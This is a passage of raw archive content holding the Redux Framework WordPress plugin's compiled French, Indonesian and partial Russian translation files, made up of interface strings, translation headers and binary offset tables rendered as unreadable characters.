or reload the page.�There was an error saving. Here is the result of your action:�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�This variable set whether or not the menu is displayed as an admin menu item for this instance of Redux.�This will provide to your developer all the information they may need to remedy your issue. This action WILL send information securely to a remote server. To see the type of information sent, please look at the <a href="%s">Status tab</a>.�Title�To �To allow data saving, make <code>%s</code> writable.�To get started, we will need to generate a support hash.�Top�Transparent�URL�Unable to modify required files. Please ensure that�Understanding the Status Report�Units�Unknown action "%1$s" specified for %2$s�Unsafe strings were found in your CSS and have been filtered out.�Upload�Used to grab information from remote servers for updates updates.�Used to send data to remote servers.�Used when communicating with remote services with PHP.�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�WP Debug Mode�WP Memory Limit�WP Multisite�WP Version�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�We are an open source project used by developers to make powerful control panels.�We recognize we are nothing without our community. We would like to thank all of those who help Redux to be what it is. Thank you for your involvement.�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What is Redux Framework?�What type of user are you?�What's New�Whether or not you have WordPress Multisite enabled.�While some are built specificially for developers, extensions such as Custom Fonts are sure to make any user happy.�Width�Word Spacing�WordPress Environment�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your panel has no fields. Nothing to save.�Your server does not have fsockopen or cURL enabled - cURL is used to communicate with other servers. Please contact your hosting provider.�by authorby %s�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�is available�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�wp_remote_get() failed. This is needed to get information from remote servers. Contact your hosting provider.�wp_remote_post() failed. Many advanced features may not function. Contact your hosting provider.�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Franck Language-Team: French (France) (http://www.transifex.com/projects/p/redux-framework/language/fr_FR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: fr_FR Plural-Forms: nplurals=2; plural=(n > 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �%s - Nous recommandons de régler la mémoire au moins à 40MB. Voir : <a href="%s" target="_blank">Augmenter la mémoire allouée à PHP</a>�La version <code>%s</code><strong style="color:red">%s</strong> est obsolète. La version du noyau est %s�<strong>Votre panneau a fourni des copies obsolètes des fichiers modèles Redux Framework</strong> – si vous rencontrez des problèmes de fonctionnalité, ceci pourrait en être la raison. Assurez-vous de les mettre à jour ou de les supprimer.�Activer le mode de démonstration�Activer les extensions de développement �Actif�Extensions activées�Ajouter %s�Ajouter plus�Ajouter ou modifier une galerie�Tout�Toutes les options par défaut ont bien été rétablies !�Autoriser le suivi�Êtes-vous sûr ? Réinitialiser supprimera toutes les données.�Êtes-vous sûr ? Cela supprimera toutes les données personnalisées de cette section.�Êtes-vous sûr ? Cela supprimera toutes les données.�URL de l'auteur�Action automatique effectuée : "%s"�Image d’arrière-plan�Limites de coloration de l'arrière-plan�Origine de l’arrière-plan�Position d’arrière-plan�Répétition de l’arrière-plan�Dimension de l’arrière-plan�Sauvegarder la famille de police�Le style de bordure�En bas�Navigateur�Info navigateur�Constructeur�Journal des modifications�Thème enfant.�Vider la galerie�Cliquez ici pour activer le fichier de configuration de démonstration.�Fermer�Copié !�Copier les données�Copier l'URL d'Export�Copier pour le support�Crédits�Préfixe de la table de la base de données�Désactiver le mode de démonstration�Désactiver les extensions de développement �Valeur par défaut�Le fuseau horaire par défaut est UTC�Le fuseau horaire par défaut est %s - Il devrait être UTC�Supprimer�Description�Détermine si PHP affichera les erreurs dans le navigateur.�Développeur�Mode Développeur activé�Saviez-vous que nous avons des extensions, qui améliorent les fonctionnalités de Redux ? Visitez notre %1$s pour en savoir plus !�Désactiver�Fermer�Affiche si WordPress est en mode débogage ou non.�Affiche si le le thème actuel est un thème enfant ou non.�Ne pas autoriser le suivi�Docs�Télécharger le fichier de données.�Adresse e-mail�Activer�Erreur : %s�Élargir�Options d'Exportation�Extensions�Couleur de la police�Famille de polices�Taille de la police�Sous-ensembles de police�Variante de police�Style & Police de caractères�Couleur de police�Famille de police�Script de police�Style de police�Sous-ensembles de police�De�Page d’accueil�Affichage de la page d’accueil�Générer une URL de support�Générer une URL de support�Obtenir de l'aide�Obtenir le rapport système�Mise en route�Polices web Google�Hauteur�Aider nous à améliorer notre panneau�Copier / télécharger les options actuelles ici. Conservez-le précieusement et l'utiliser comme une sauvegarde en cas de problème, ou l'utiliser pour restaurer les paramètres de cet ou un autre site.�Indices�Les indices sont des info-bulles qui apparaissent quand %d touche l'icône de l'indice. Ils fournissent des informations supplémentaires sur le champ dans lequel ils apparaissent. Ils peuvent être %d en utilisant le lien ci-dessous.�URL de l'accueil�Survol�Comment obtenir du support�Je suis un développeur construisant un produit utilisant Redux.�Je suis un utilisateur utilisant un produit pré-construit.�Si c'est le cas %1$s, merci de faire un geste pour nous avec une %2$s qui nous permettra de poursuivre le développement de Redux.�Si vous souhaitez savoir tout ce qui concerne Redux, abonnez-vous à notre newsletter�Si vous modifiez le Framework Redux ou un thème parent que vous ne avez pas construit personnellement, nous recommandons d'utiliser un thème enfant. Voir : <a href="%s" target="_blank">Comment créer un thème enfant</a>�Importer�Importer / Exporter�Options d'importation�Importer depuis un fichier�Importer depuis une URL�Indique si la sauvegarde basée sur ajax est activée pour cette instance de Redux.�Indique si le mode développeur est activé pour cette instance de Redux.�Indique si le drapeau de sortie pour arrêter globalement toutes les sorties de CSS est activé pour cette instance de Redux.�Indique si le drapeau du compilateur est activé pour cette instance de Redux.�Indique les extensions Redux installés et leur numéro de version.�Information surle serveur web qui héberge actuellement votre site.�Information sur le navigateur web actuellement utilisé.�Importer URL à l'option poste d'un autre site. Appuyez sur Importer pour charger.�Indiquez votre fichier de sauvegarde ci-dessous. Puis appuyez sur Importer pour restaurer vos options partir de cette sauvegarde.�Certificat de sécurité invalide, veuillez recharger la page et essayer à nouveau.�Est-ce que le serveur fonctionne dans un environnement local.�Langue�En savoir plus�A gauche�Espacement des lettres�Vous aimez Redux ?�Hauteur de ligne�Liste des fichiers de modèle surchargeant les fichiers de modèle par défaut de Redux.�Voici ci-dessous la liste des extensions et / ou thèmes Wordpress installés sur votre site qui utilisent Redux Framework. Nous ne fournissons pas directement de support sur les produits créés avec notre framework. Il est de la responsabilité du développeur de l'extension ou du thème de supporter leur travail. Vous aurez besoin de contacter (les) l'auteur(s) des produits énumérés ci-dessous avec vos questions de support.�Environnement local �Taille max de mise en ligne�Doit être appelé après l'action"plugins_loaded".�Version MySQL�Nom�Nouvel %s�Nouveau dans cette version�Newsletter�Aucun élément de ce type n'a été trouvé.�Aucun média selectionné�Off�On�Choix�Choix Objet�Panneau d'options créé avec %1$s�Notre noyau mantra dans Redux est de compatibilité ascendante. Avec des centaines de milliers de cas dans le monde entier, vous pouvez être assuré que nous allons prendre soin de vous et vos clients�Affichage des erreurs PHP�PHP Max Input Vars�Limite de mémoire PHP�PHP taille maximale d'envoi�Limite de temps PHP�Version PHP�URL de l'auteur du thème parent�Nom du thème parent�Version du thème parent.�Mot de passe�Structure du permalien�Veuillez patienter...�Merci de vous assurez d'inclure pour votre développeur - via copier-coller - l'URL de support dans la case ci-dessous.�Veuillez copier et coller cette information dans votre ticket lorsque vous contactez le support :�S'il vous plaît aider nous à améliorer notre panel en nous permettant de recueillir des informations anonymes d'utilisation afin que nous sachions quelles configurations, extensions et thèmes nous devons tester pour assurer une parfaite compatibilité.�Veuillez vous rendre dans le gestionnaire d'incident Redux Framework et nous fournir votre URL de support ci-dessous. Merci de nous fournir également toute information qui nous aidera à reproduire votre problème.�Page des articles�Accessibilité en écriture du répertoire de données Redux�Extensions Redux�Redux Framework�Redux Framework - Un effort communautaire�Redux Framework - Journal des modifications�Redux Framework - Extensions�Redux Framework - Support�Redux Framework - Statut système�Journal des modifs de Redux Framework�Statut Redux Framework�Redux Framework a une démonstration intégrée.�Redux Framework est au cœur de nombreux produits sur le web. C'est un framework d'option que les développeurs utilisent pour améliorer leurs produits.�Redux Generator�Instance de Redux :�Version de Redux�Redux et ses extensions écrivent des données dans le répertoire <code>uploads</code>. Ce répertoire doit être accessible en écriture.�Redux est un simple, vraiment modifiable framework d'options pour les thèmes et extensions de WordPress.�Redux est créé par une communauté de développeurs dans le monde entier. Vous voulez également avoir votre nom inscrit ?<a href="https://github.com/reduxframework/redux-framework/blob/master/CONTRIBUTING.md" target="_blank">Contribuer à Redux</a>.�Régulier�Get distant�Post distant�Supprimer�Repo�Tout réinitialiser�Réinitialiser la section�À droite�SUHOSIN installé�Enregistrer les modifications�Toutes les sections par défaut ont bien été rétablies.�Sélectionner le type de support�Sélectionnez votre type de support�Sélectionner un élément�Environnement serveur�Info serveur�Réglages importés !�Réglages enregistrés !�Les réglages ont changés, vous devriez les enregistrer !�Si le développeur n'est pas réactif, lisez l'<a href="%s" target="_blank"> article suivant</a> avant de nous demander directement du support.�Afficher l'objet dans la console Javascript�URL du site�Taille�Glissement�Polices standarts�Statut�Style�Envoyer une demande de support�Abonnez-vous�Sous-ensembles�Suhosin est un système de protection avancé pour les installations PHP. Il a été conçu pour protéger vos serveurs d'une part contre un certain nombre de problèmes bien connus dans les applications PHP et d'autre part contre de potentielles vulnérabilités inconnues au sein de ces applications ou du noyau de PHP lui-même. S'il est activé sur votre serveur, Suhosin peut avoir besoin d'être configuré pour augmenter ses limites de soumission de données.�Dynamisez votre expérience Redux. Nos extensions vous fournissent des fonctionnalités qui enverront vos produits au niveau suivant.�Aide�Le code de support n'a pas pu être généré. Veuillez réessayer plus tard.�Infos système�Team Redux�Alignement du texte�Décoration du texte�Transformation du texte�Merci pour la mise à jour vers la dernière version ! Redux Framework %s est un énorme pas en avant dans le développement Redux. Regardez tout ce qui est nouveau.�Cet identifiant d'URL est utilisé, veuillez en choisir un autre. <code>%s</code> est disponible pour l'utiliser.�L'URL de la page d'accueil de votre site.�La durée (en secondes) que votre site consacre à une seule opération avant son interruption (pour éviter que le serveur boucle)�Le mode de lecture actuel de WordPress.�Le langage actuellement utilisé par WordPress. Par défault = anglais�La structure courante du permalien est tel que défini dans Wordpress Réglages -> Permaliens.�La page actuellement sélectionnée dans laquelle les articles du blog sont affichés.�La page actuellement sélectionnée qui agit comme page d’accueil du site.�Le fuseau horaire par défaut de votre serveur.�Les dossiers et fichiers suivants sont toujours situés dans votre dossier <strong>Redux</strong>. Cela peut causer des erreurs lors du Theme-Check.�L'argument global_variable pour cette instance de Redux.�La version installée du thème actuellement activé.�La version installée du thème parent.�La plus grande taille de fichier qui peut être contenue dans un article.�La plus grande taille de fichier qui peut être mis en ligne sur votre installation de WordPress.�La quantité maximum de mémoire (RAM) que votre site peut utiliser en même temps.�Le nombre maximum de variables que votre serveur peut utiliser pour une seule fonction pour éviter les surcharges.�Le nom du thème actuellement activé.�Le nom du thème parent.�L'argument opt_name pour cette instance de Redux.�La variable output_tag définie si le CSS dynamique sera généré pour l'outil de personnalisation et les polices Google pour cette instance de Redux.�La page des ensembles de variable parent lorsque le menu d'options sera mis sur la colonne latérale de l'admin WordPress pour cette instance de Redux.�La page de variable d'autorisations définit le niveau d'autorisation requis pour accéder au panneau d'options pour cette instance de Redux.�La page identifiant désigne la chaîne utilisée pour la page du panneau des options de cette instance de Redux.�URL des développeurs du thème parent�Les personnes qui développent Redux Framework�La structure du préfixe de la base de données de WordPress.�L'URL racine de votre site.�Le chemin de modèle spécifié contenant des fichiers de modèles personnalisés pour cette instance de Redux.�URL du développeur du thème.�Le thème que vous testez a %s d'incorporé. Nous vous invitons à lire la %sDocumentation du Theme-Checker%s pour comprendre certains avertissements que vous pourrez avoir à cause de Redux.�L'action inconnue a été remplacée par "%s"�La version de MySQL installée sur le serveur de votre hébergement.�La version de PHP installées sur votre serveur d'hébergement.�Las version de Redux Framework installée sur votre site.�La version de WordPress installée sur votre site.�Thème�Il y a eu un problème avec votre action. Veuillez essayer de recharger la page.�Il y a eu une erreur en sauvegardant. Voici le résultat de votre action :�Ce champ ne peut pas être vide. Veuillez saisir une valeur.�Ce champ doit contenir une valeur de couleur valide.�Ce champ doit contenir une date valide.�Cet écran vous montre les nombreuses fonctionnalités de Redux. Mais avant d'allez plus loin, nous vous proposons d'examiner rapidement %1$s.�Cette variable définie si le menu s'affiche ou comme un élément du menu d'administration de cette instance de Redux.�Cela fournira à votre développeur toutes les informations dont il pourrait avoir besoin pour remédier à votre problème. Cette action VA ENVOYER des informations en toute sécurité sur un serveur distant. Pour voir le type d'information envoyé, veuillez consulter l'<a href="%s">onglet État</a>.�Titre�Pour�Pour permettre la sauvegarde des données, rendez <code>%s</code> accessible en écriture.�Pour commencer, nous aurons besoin pour générer un code de support. �En haut�Transparent�URL�Impossible de modifier les fichiers requis. Veuillez vérifier qu'ils soient modifiables�Comprendre le rapport de statut�Unités�Action inconnue "%1$s" demandée pour %2$s�Des chaînes dangereuses ont été trouvés dans votre CSS et ont été filtrées.�Télécharger�Utilisé pour récupérer des informations depuis des serveurs distants pour les mises à jour de mises à jour.�Utilisé pour envoyer des données vers des serveurs distants.�Utilisé lors des communications avec les services distants avec PHP.�Utilisateur�Nom d'utilisateur�Version�Version %s�Afficher l’%s�Aller sur le site de l’extension�Visité�ATTENTION! Toutes les valeurs optionnelles existantes seront écrasées. Soyez prudent !�Mode débogage WP�Limite de mémoire WP�WP Multisite�Version WP�Envie de démarrer rapidement ? Utilisez %1$s. Il créera un thème boilerplate personnalisé ou un dossier admin complet qui contiendra tout Redux (avec l'aide de TGM et Underscores). Epargnez-vous des maux de tête inutiles et essayez-le dès maintenant !�Attention - Ce panneau d'options ne fonctionnera pas sans Javascript !�Nous sommes un projet open source utilisé par les développeurs pour fabriquer des panneaux de contrôle puissants.�Nous reconnaissons que nous ne sommes rien sans notre communauté. Nous tenons à remercier tous ceux qui aident Redux à être ce qu'il est. Merci pour votre implication.�Bienvenue dans Redux Framework�Bienvenue dans Redux Framework %s�Bienvenue sur l'écran de démo de Redux�Qu'est-ce que Framework ?�Quel type d'utilisateur êtes-vous ?�Quoi de neuf ?�Si vous avez activé WordPress Multisite ou non.�Alors que certains sont construits spécifiquement pour les développeurs, les extensions telles que Custom Fonts sont sûr de faire plaisir à n'importe quel utilisateur.�Largeur�Espacement des mots�Environment WordPress�En cours...�Vous n'avez pas les droits suffisants pour accéder à cette page.�Vous avez des modifications non enregistrées. Voulez vous les enregistrer maintenant ?�Vous avez des modifications non enregistrées. Voulez vous les enregistrer maintenant ?�Vous ne devez pas entrer de code HTML dans ce champ. Toutes les balises HTML ont été supprimés.�Vous ne devez pas entrer des caractères spéciaux dans ce champ. Tous les caractères spéciaux ont été supprimés.�Vous devez fournir une liste séparée par des virgules de valeurs numériques pour cette option.�Vous devez fournir une valeur numérique pour cette option.�Vous devez fournir une URL valide pour cette option.�Ce champ nécessite une adresse e-mail valide.�Vos options vont être remplacées par de nouvelles valeurs. Voulez vous continuer ?�Vos options vont être remplacées par de nouvelles valeurs. Voulez vous continuer ?�Votre panneau n'a pas de champ. Rien à sauvegarder.�Votre serveur n'a pas fsockopen ou cURL activé - cURL est utilisé pour communiquer avec d'autres serveurs. Veuillez contacter votre hébergeur.�par %s�en cliquant�Faire un don�Des erreurs ont été trouvées !�répertoires des extensions�a les bonnes autorisations en lecture/écriture ou entrez vos informations de FTP ci-dessous.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�est disponible�Laissez-nous une critique favorable sur WordPress.org�au passage de la souris�notre documentation�Des avertissements ont été trouvés !�wp_remote_get() a échoué. C'est nécessaire pour obtenir des informations à partir des serveurs distants. Contactez votre hébergeur.�wp_remote_post() a échoué. Beaucoup de fonctions avancées peuvent ne pas fonctionner. Contactez votre hébergeur.�����������������������������������������������������������������������������������������redux-framework/languages/redux-framework-id_ID.mo��������������������������������������������������0000644�����������������00000022165�14720701300�0016261 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������x�����������������( �����) �����< �����C �����J �����S �����d �����h ��5���w ��D��� ��4��� �����' �����= �����Q �����c �� ���v ����� �� ��� �� ��� ��.��� ����� ����� ����� ����� ����� �� ��� �� ��� ����� �����! �����) �����? �����F �����M �� ���\ �� ���g �� ���s �� ���} �� ��� �� ��� �� ��� �� ��� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ��]��� ��X���S����������������������!��������������������� ��������8�� ���A�����M�����]��%���w������������ ����� ���������� ��������������������,��� ��(���6�����_�����d�����s�����z������������ ����������'����� �������������������� ������������� ��������������������$�� ���,�����7�����M��U���U��F��������������� ����� ���%��;���0��F���l��E�����K�����b���E��L�����3�����-���)��/���W��a�����`��������J�����_��i��v������������ ������������� ����������%��4���6��D���k��6������������������������/�� ���D�����Q�����X�����j��-���{������� �������������������� ����� ����� �������������������� ���%�����0�� ���?�� ���K�� ���W�� ���d�� ���p�� ���|�� ����� ��������������������#������������������������� �������� ��4�����m���O����������������������+�������� �����*�����2��#���F�� ���j�� ���u�������%�������������������� ����� ����������������������������8��>���S��'������������������������������������������� ��%��� �����. �����N �����T �����[ �� ���_ �����j �����n �����u �����| �� ��� ����� ����� ����� ����� ��e��� ��G���&!�����n!�����!�����!�����!��;���!��<���!��@���."��Z���o"��`���"��8���+#�����d#�����{#�����#��D���#��X���#�����G$�����V$�����0���]���Z���s������� �����������l���2���w���=�������)����������� �������������1���$���6������D���(���E���b������3���.���O���F���*�������<���&������r���H�������������� ��� ���������R���%���C�����������P������"����������_���4���������������;���@������ ���������N���x���M���p���f���,���K���k����������m������V���a���[���Y���e���:���>���q�������������v��������������u���+�����������Q�������c�������`���U�������/���5�������J���G���9����������W���8�������g�������-���n���!����������^���������������T���A���S�������#���t���j���\���B���������I�������������������L���d������� ���'��������������o���7������h���X��������������?���i����Activate Demo Mode�Active�Add %s�Add More�Add/Edit Gallery�All�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Default�Delete�Description�Developer�Disable�Dismiss�Do not allow tracking�Enable�Expand�Export Options�Font Color�Font Family�Font Size�Font color�Font family�Font script�Font style�Font subsets�From �Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hover�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Name�New %s�No items of this type were found.�No media selected�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Standard Fonts�Status�Style�Subsets�Support�System Info�Theme�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Version�Version %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Warning- This options panel will not work properly without javascript!�Welcome to the Redux Demo Panel�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�error(s) were found!�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Indonesian (Indonesia) (http://www.transifex.com/projects/p/redux-framework/language/id_ID/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: id_ID Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Aktifkan Mode Demo�Active�Tambah %s�Tambah�Tambah/Hapus Galeri�Semua�Silakan Tracking�Anda yakin? Reset akan menghapus semua custom value.�Yakin ? Reset akan menghapus semua pengaturan pada bagian ini saja. �Yakin ? Reset akan menghapus semua pengaturan yang ada�Lampiran Latar belakang �Posisi Latar belakang �Latar belakang Berulang�Cadangan Jenis Huruf�Model Border�Bottom�Catatan Perubahan�Bersihkan Galeri�Klik untuk mengaktifkan berkas sample config.�Tutup�Penghargaan�Deaktifasi Mode Demo�Standar�Hapus�Deskripsi�Pengembang�Nonaktifkan�Selesai�Tidak boleh tracking�Aktifkan�Kembangkan�Pilihan Ekspor�Warna Huruf�Jenis Huruf�Ukuran Huruf�Warna Huruf�Jenis Huruf�Bentuk Huruf�Model Huruf�Subset Huruf�Dari�Google Webfonts�Tinggi�Urun peran dalam pengembangan Panel�Anda dapat menyalin/mendonwload settingan saat ini. Simpan baik-baik sebagai cadangan bila terjadi hal-hal yang tidak diinginkan, atau dapat digunakan untuk mengembalikan settingan pada situs ini ( atau situs mana saja dengan pilihan settingan yang sama )�Hover�Impor�Impor / Ekspor�Pilihan Impor�Impor dari URL�Masukkan URL berkas cadangan, dan klik tombol Impor.�Masukkan berkas cadangan dibawah ini lalu klik tombol Impor untuk menggunakan settingan dari berkas cadangan.�Left�Jarak antar huruf�Nama�Baru %s�Tidak ada pilihan untuk field jenis berikut�Tidak ada media yang dipilih�Options�Data Object Options�Panel pengaturan dibuat dengan %1$s�Kata Sandi�Harap Tunggu�Redux Framework�Daftar perubahan pada Redux Framework�Redux Framework pada mode Demo�Reguler�Hapus�Reset Semua�Reset Section�Right�Simpan perubahan�Pilih�Settingan Berhasil Diimpor!�Setting Berhasil Disimpan!�Settingan telah berubah, silakan disimpan, klik tombol Simpan!�Tampilkan Object pada Konsol Javascript�Ukuran�Jenis Huruf Standar�Status�Model�Subset�Dukungan�Informasi System�Tema�Masukkan hanya nilai warna yang valid�Masukkan format data yang valid�Judul�Hingga�Top�Transparan�URL�Satuan�Unggah�Pengguna�Nama Pengguna�Versi�Versi %s�Kunjungi laman plugin�Visited�PERHATIAN! Prosedur berikut akan melakukan penimpaan semua settingan yang ada, pastikan semua sesuai.�Perhatian- Panel options ini tidak dapat bekerja baik tanpa javascript!�Selamat datang di panel demo�Lebar�Jarak antar kata�Tunggu sebentar...�Anda tidak memiliki cukup izin untuk mengakses halaman ini.�Perubahan yang dibuat belum disimpan. Mau disimpan sekarang?�Perubahan yang dilakukan belum disimpan. Mau disimpan sekarang ?�Anda tidak dapat memasukkan segala format HTML pada field ini, semua tag HTML akan dihapus�Anda tidak dapat memasukkan spesial karakter pada field ini, semua spesial karakter akan dihapus�Masukkan daftar berupa barisan angka dibatasi tanda koma�Masukkan nilai numerik�Masukkan nilai numerik�Masukkan nilai numerik�Settingan anda saat ini akan digantikan dengan nilai preset. Lanjut?�Pengaturan saat ini akan diganti dengan pengaturan yang ditetapkan dalam preset. Lanjut?�terdapat error�ditemukan peringatan (warning)������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-ru_RU.mo��������������������������������������������������0000644�����������������00000136354�14720701300�0016353 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������K�����t ������������{�����d���5����������^�����q������������������������������������������5�����D���%��4���j�� ����� ���������������������������������)�����9�� ���L�����Y�����`�� ���h�����u�� ���}�� ����� �����.��������������� ������������������ ����� �����' �����< �����[ �����c ��)���{ ����� �� ��� ��9��� �� ��� ����� ��l���!�����!�����!��3���!��;���!������"�����"�����"�� ���."�����<"�� ���C"�����M"�����T"�� ���c"�� ���n"�� ���y"�� ���"�� ���"�� ���"�����"�� ���"�� ���"�� ���"�� ���"�� ���"�����"�� ���#����� #��.��� #�����O#�� ���f#�����r#�����#�����#�����#�����#�����#�����$�����$�����9%�����B%�����H%��1���[%��'���%��Z���%��U���&�����f&�����'�����$'�����4'�����C'�����T'��E���d'��B���'��h���'��E���V(��C���(��E���(��-���&)��]���T)��X���)��B��� *��1���N*�����*�� ���*�����*�����*�� ���*�� ���*��C���*��[��+�����`,�����v,��2���,�� ���,�����,�����,�����,�� ���,��!���,�����-�����&-�����*-�����--�����5-�� ���D-�����e-�����.�����#.�����6.�����G.�����Y.�� ���h.�����t.�����.�����.�����.�����.�� ���.��d���.��N���A/�����/�����60�� ���0�����0����� 1�����1��$���.1�����S1�����o1�����1�����1�����1�����1��%���1�����2�����2�����2�� ���2��k���2��W���G3�����3�����}4�� ���4�� ���4�����4�����4�� ���4�� ���4�����4�����4�� ���4�����4������5�����5�����-5�����<5�� ���O5�����[5�����n5��,���~5�����5��(���;6�����d6�����m6�����r6�����x6�����6�����6�����6�� ���6�����6����6��{���K8�����8��<���8�� ��� 9�� ���9�� ���#9�����.9�����>9�����M9��P���9�� ���$:��{���E:��&���:��9���:��M���";��>���p;��@���;��%���;�����<��8���<��2���<��*���=��7���2=��I���j=��F���=��]���=��%���Y>�����>��1���>�����>��~���Y?��x���?��\���Q@�� ���@��'���@��7���@�����/A��X���JA�����A�����A��.���[B��6���B��4���B��6���B��0���-C�����^C��J���dC��=���C��3���C��'���!D�� ���ID��y���jD��h���D�����ME�����>F�����DF��4���HF��8���}F�����F�� ���F�����F��3���F�����F�����G��(���$G��A���MG�����G��A���G��$���G��6���G�����4H�����9H�����BH�� ���JH�����UH�����]H�����sH��U���{H�� ���H�����H�� ���H�� ���H�����I��F���I��Q���3J�����J�����K�����8K�����VK�����vK�����K�� ���K��4���K��s���K�����^L�� ���dL�����qL�� ���L��;���L��F���L��E���M��K���[M��b���M��L��� N��3���WN��-���N��/���N��a���N��`���KO��*���O�����O�����cP�����sP�����|P�����P�����P��J���P�����P��,���Q�� ���AQ��,���NQ�����{Q�����Q�����Q��m���Q��`���(R����R�����.V��x���V��8��UW��<���X��C���X��6���Y�����FY�����fY�����zY��0���Y�����Y��D���Y��+���Z��|���;Z�����Z��d���P[�����[��J���[�����\�����9\�����I\�����[\�����s\�����\�����\�����\�����\�����\��(���\�� ���]�����#]�����6]�����P]��n���p]�����]�����]��!���^��)���(^��$���R^�����w^��#���^��>���^��G���^�����=_��H���U_��c���_�����`�����`��Z���"`�����}`��#���`�����`�����ka�����~a��V���a��T���a��+���9b�����eb�����~b�����b�����b�����b�����b�����b�����c�����c�� ���1c�����<c�����Vc�� ���pc��H���}c�����c��!���c�����c�����d�����0d�����Pd�����Ud��0���ud��2���d��1���d��#��� e��.���/e��"���^e�����e�� ���e��I���e����e�����vg�����g��%���Zh��?���h��*���h��[���h��_���Gi��{���i�����#j��7��j�� ���k�����k�����l�����6l�����Sl��k���il��y���l�����Om������n��k���n��m���n��P���^o�����o�����Gp�����p��V���q�����q�����q�� ���q��-��� r�����7r�� ���Or�����[r��J��r�����6u��I���Ku��O���u�����u�����u�� ���u��#��� v��#���1v��S���Uv��%���v�� ���v�����v�����v��#���v��C���w��6��\w��'���x��"���x�����x��s���x�����ny�����y��2���y��(���y��.���y�� ���(z��2���5z��(���hz�����z�����V{��#��|��K��9}�����~��I���~�����~�������?�����1���X��&�����;�����3��������!�����>��I���[�������������������������Ё������� ��-��$���9�����^�����u�� ������������������Ʉ�� �����!�����%�����F���8��*�����1��������܅��!�����&�����.���C��&���r��\����������:���ه������� ���#�� ���0��!���;�� ���]�� ���j��5���u����������ˆ����Ո�����������������'���3�� 